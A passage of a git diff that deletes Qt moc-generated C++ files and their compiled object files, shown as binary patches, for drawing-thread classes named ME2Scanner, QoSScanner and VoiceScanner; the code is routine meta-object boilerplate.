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 diff --git a/moc_DrawerTh_ME2Scanner.cpp b/moc_DrawerTh_ME2Scanner.cpp deleted file mode 100644 index a393d66..0000000 --- a/moc_DrawerTh_ME2Scanner.cpp +++ /dev/null @@ -1,141 +0,0 @@ -/**************************************************************************** -** Meta object code from reading C++ file 'DrawerTh_ME2Scanner.h' -** -** Created by: The Qt Meta Object Compiler version 67 (Qt 5.3.2) -** -** WARNING! All changes made in this file will be lost! -*****************************************************************************/ - -#include "DrawerTh_ME2Scanner.h" -#include <QtCore/qbytearray.h> -#include <QtCore/qmetatype.h> -#if !defined(Q_MOC_OUTPUT_REVISION) -#error "The header file 'DrawerTh_ME2Scanner.h' doesn't include <QObject>." -#elif Q_MOC_OUTPUT_REVISION != 67 -#error "This file was generated using the moc from 5.3.2. It" -#error "cannot be used with the include files from this version of Qt." -#error "(The moc has changed too much.)" -#endif - -QT_BEGIN_MOC_NAMESPACE -struct qt_meta_stringdata_DrawerTh_ME2Scanner_t { - QByteArrayData data[4]; - char stringdata[51]; -}; -#define QT_MOC_LITERAL(idx, ofs, len) \ - Q_STATIC_BYTE_ARRAY_DATA_HEADER_INITIALIZER_WITH_OFFSET(len, \ - qptrdiff(offsetof(qt_meta_stringdata_DrawerTh_ME2Scanner_t, stringdata) + ofs \ - - idx * sizeof(QByteArrayData)) \ - ) -static const qt_meta_stringdata_DrawerTh_ME2Scanner_t qt_meta_stringdata_DrawerTh_ME2Scanner = { - { -QT_MOC_LITERAL(0, 0, 19), -QT_MOC_LITERAL(1, 20, 12), -QT_MOC_LITERAL(2, 33, 0), -QT_MOC_LITERAL(3, 34, 16) - }, - "DrawerTh_ME2Scanner\0sAddPolyLine\0\0" - "sDrawTextPlacers" -}; -#undef QT_MOC_LITERAL - -static const uint qt_meta_data_DrawerTh_ME2Scanner[] = { - - // content: - 7, // revision - 0, // classname - 0, 0, // classinfo - 2, 14, // methods - 0, 0, // properties - 0, 0, // enums/sets - 0, 0, // constructors - 0, // flags - 2, // signalCount - - // signals: name, argc, parameters, tag, flags - 1, 0, 24, 2, 0x06 /* Public */, - 3, 0, 25, 2, 0x06 /* Public */, - - // signals: parameters - QMetaType::Void, - QMetaType::Void, - - 0 // eod -}; - -void DrawerTh_ME2Scanner::qt_static_metacall(QObject *_o, QMetaObject::Call _c, int _id, void **_a) -{ - if (_c == QMetaObject::InvokeMetaMethod) { - DrawerTh_ME2Scanner *_t = static_cast<DrawerTh_ME2Scanner *>(_o); - switch (_id) { - case 0: _t->sAddPolyLine(); break; - case 1: _t->sDrawTextPlacers(); break; - default: ; - } - } else if (_c == QMetaObject::IndexOfMethod) { - int *result = reinterpret_cast<int *>(_a[0]); - void **func = reinterpret_cast<void **>(_a[1]); - { - typedef void (DrawerTh_ME2Scanner::*_t)(); - if (*reinterpret_cast<_t *>(func) == static_cast<_t>(&DrawerTh_ME2Scanner::sAddPolyLine)) { - *result = 0; - } - } - { - typedef void (DrawerTh_ME2Scanner::*_t)(); - if (*reinterpret_cast<_t *>(func) == static_cast<_t>(&DrawerTh_ME2Scanner::sDrawTextPlacers)) { - *result = 1; - } - } - } - Q_UNUSED(_a); -} - -const QMetaObject DrawerTh_ME2Scanner::staticMetaObject = { - { &QThread::staticMetaObject, qt_meta_stringdata_DrawerTh_ME2Scanner.data, - qt_meta_data_DrawerTh_ME2Scanner, qt_static_metacall, 0, 0} -}; - - -const QMetaObject *DrawerTh_ME2Scanner::metaObject() const -{ - return QObject::d_ptr->metaObject ? QObject::d_ptr->dynamicMetaObject() : &staticMetaObject; -} - -void *DrawerTh_ME2Scanner::qt_metacast(const char *_clname) -{ - if (!_clname) return 0; - if (!strcmp(_clname, qt_meta_stringdata_DrawerTh_ME2Scanner.stringdata)) - return static_cast<void*>(const_cast< DrawerTh_ME2Scanner*>(this)); - return QThread::qt_metacast(_clname); -} - -int DrawerTh_ME2Scanner::qt_metacall(QMetaObject::Call _c, int _id, void **_a) -{ - _id = QThread::qt_metacall(_c, _id, _a); - if (_id < 0) - return _id; - if (_c == QMetaObject::InvokeMetaMethod) { - if (_id < 2) - qt_static_metacall(this, _c, _id, _a); - _id -= 2; - } else if (_c == QMetaObject::RegisterMethodArgumentMetaType) { - if (_id < 2) - *reinterpret_cast<int*>(_a[0]) = -1; - _id -= 2; - } - return _id; -} - -// SIGNAL 0 -void DrawerTh_ME2Scanner::sAddPolyLine() -{ - QMetaObject::activate(this, &staticMetaObject, 0, 0); -} - -// SIGNAL 1 -void DrawerTh_ME2Scanner::sDrawTextPlacers() -{ - QMetaObject::activate(this, &staticMetaObject, 1, 0); -} -QT_END_MOC_NAMESPACE diff --git a/moc_DrawerTh_ME2Scanner.o b/moc_DrawerTh_ME2Scanner.o deleted file mode 100644 index b51e83a72d6ffe7bc7ffd075215b49da03d112b3..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 8376 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 WX}DgWKhbd5+~Brw@iTyd6a5Fk&6+&` diff --git a/moc_DrawerTh_QoSScanner.cpp b/moc_DrawerTh_QoSScanner.cpp deleted file mode 100644 index 28e0063..0000000 --- a/moc_DrawerTh_QoSScanner.cpp +++ /dev/null @@ -1,124 +0,0 @@ -/**************************************************************************** -** Meta object code from reading C++ file 'DrawerTh_QoSScanner.h' -** -** Created by: The Qt Meta Object Compiler version 67 (Qt 5.3.2) -** -** WARNING! All changes made in this file will be lost! -*****************************************************************************/ - -#include "DrawerTh_QoSScanner.h" -#include <QtCore/qbytearray.h> -#include <QtCore/qmetatype.h> -#if !defined(Q_MOC_OUTPUT_REVISION) -#error "The header file 'DrawerTh_QoSScanner.h' doesn't include <QObject>." -#elif Q_MOC_OUTPUT_REVISION != 67 -#error "This file was generated using the moc from 5.3.2. It" -#error "cannot be used with the include files from this version of Qt." -#error "(The moc has changed too much.)" -#endif - -QT_BEGIN_MOC_NAMESPACE -struct qt_meta_stringdata_DrawerTh_QoSScanner_t { - QByteArrayData data[3]; - char stringdata[30]; -}; -#define QT_MOC_LITERAL(idx, ofs, len) \ - Q_STATIC_BYTE_ARRAY_DATA_HEADER_INITIALIZER_WITH_OFFSET(len, \ - qptrdiff(offsetof(qt_meta_stringdata_DrawerTh_QoSScanner_t, stringdata) + ofs \ - - idx * sizeof(QByteArrayData)) \ - ) -static const qt_meta_stringdata_DrawerTh_QoSScanner_t qt_meta_stringdata_DrawerTh_QoSScanner = { - { -QT_MOC_LITERAL(0, 0, 19), -QT_MOC_LITERAL(1, 20, 8), -QT_MOC_LITERAL(2, 29, 0) - }, - "DrawerTh_QoSScanner\0sAddLine\0" -}; -#undef QT_MOC_LITERAL - -static const uint qt_meta_data_DrawerTh_QoSScanner[] = { - - // content: - 7, // revision - 0, // classname - 0, 0, // classinfo - 1, 14, // methods - 0, 0, // properties - 0, 0, // enums/sets - 0, 0, // constructors - 0, // flags - 1, // signalCount - - // signals: name, argc, parameters, tag, flags - 1, 0, 19, 2, 0x06 /* Public */, - - // signals: parameters - QMetaType::Void, - - 0 // eod -}; - -void DrawerTh_QoSScanner::qt_static_metacall(QObject *_o, QMetaObject::Call _c, int _id, void **_a) -{ - if (_c == QMetaObject::InvokeMetaMethod) { - DrawerTh_QoSScanner *_t = static_cast<DrawerTh_QoSScanner *>(_o); - switch (_id) { - case 0: _t->sAddLine(); break; - default: ; - } - } else if (_c == QMetaObject::IndexOfMethod) { - int *result = reinterpret_cast<int *>(_a[0]); - void **func = reinterpret_cast<void **>(_a[1]); - { - typedef void (DrawerTh_QoSScanner::*_t)(); - if (*reinterpret_cast<_t *>(func) == static_cast<_t>(&DrawerTh_QoSScanner::sAddLine)) { - *result = 0; - } - } - } - Q_UNUSED(_a); -} - -const QMetaObject DrawerTh_QoSScanner::staticMetaObject = { - { &QThread::staticMetaObject, qt_meta_stringdata_DrawerTh_QoSScanner.data, - qt_meta_data_DrawerTh_QoSScanner, qt_static_metacall, 0, 0} -}; - - -const QMetaObject *DrawerTh_QoSScanner::metaObject() const -{ - return QObject::d_ptr->metaObject ? QObject::d_ptr->dynamicMetaObject() : &staticMetaObject; -} - -void *DrawerTh_QoSScanner::qt_metacast(const char *_clname) -{ - if (!_clname) return 0; - if (!strcmp(_clname, qt_meta_stringdata_DrawerTh_QoSScanner.stringdata)) - return static_cast<void*>(const_cast< DrawerTh_QoSScanner*>(this)); - return QThread::qt_metacast(_clname); -} - -int DrawerTh_QoSScanner::qt_metacall(QMetaObject::Call _c, int _id, void **_a) -{ - _id = QThread::qt_metacall(_c, _id, _a); - if (_id < 0) - return _id; - if (_c == QMetaObject::InvokeMetaMethod) { - if (_id < 1) - qt_static_metacall(this, _c, _id, _a); - _id -= 1; - } else if (_c == QMetaObject::RegisterMethodArgumentMetaType) { - if (_id < 1) - *reinterpret_cast<int*>(_a[0]) = -1; - _id -= 1; - } - return _id; -} - -// SIGNAL 0 -void DrawerTh_QoSScanner::sAddLine() -{ - QMetaObject::activate(this, &staticMetaObject, 0, 0); -} -QT_END_MOC_NAMESPACE diff --git a/moc_DrawerTh_QoSScanner.o b/moc_DrawerTh_QoSScanner.o deleted file mode 100644 index 18ea18457562bad171b9c056a37264f63f1fd714..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 7976 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 diff --git a/moc_DrawerTh_VoiceScanner.cpp b/moc_DrawerTh_VoiceScanner.cpp deleted file mode 100644 index 7c6d586..0000000 --- a/moc_DrawerTh_VoiceScanner.cpp +++ /dev/null @@ -1,158 +0,0 @@ -/**************************************************************************** -** Meta object code from reading C++ file 'DrawerTh_VoiceScanner.h' -** -** Created by: The Qt Meta Object Compiler version 67 (Qt 5.3.2) -** -** WARNING! All changes made in this file will be lost! -*****************************************************************************/ - -#include "DrawerTh_VoiceScanner.h" -#include <QtCore/qbytearray.h> -#include <QtCore/qmetatype.h> -#if !defined(Q_MOC_OUTPUT_REVISION) -#error "The header file 'DrawerTh_VoiceScanner.h' doesn't include <QObject>." -#elif Q_MOC_OUTPUT_REVISION != 67 -#error "This file was generated using the moc from 5.3.2. It" -#error "cannot be used with the include files from this version of Qt." -#error "(The moc has changed too much.)" -#endif - -QT_BEGIN_MOC_NAMESPACE -struct qt_meta_stringdata_DrawerTh_VoiceScanner_t { - QByteArrayData data[6]; - char stringdata[66]; -}; -#define QT_MOC_LITERAL(idx, ofs, len) \ - 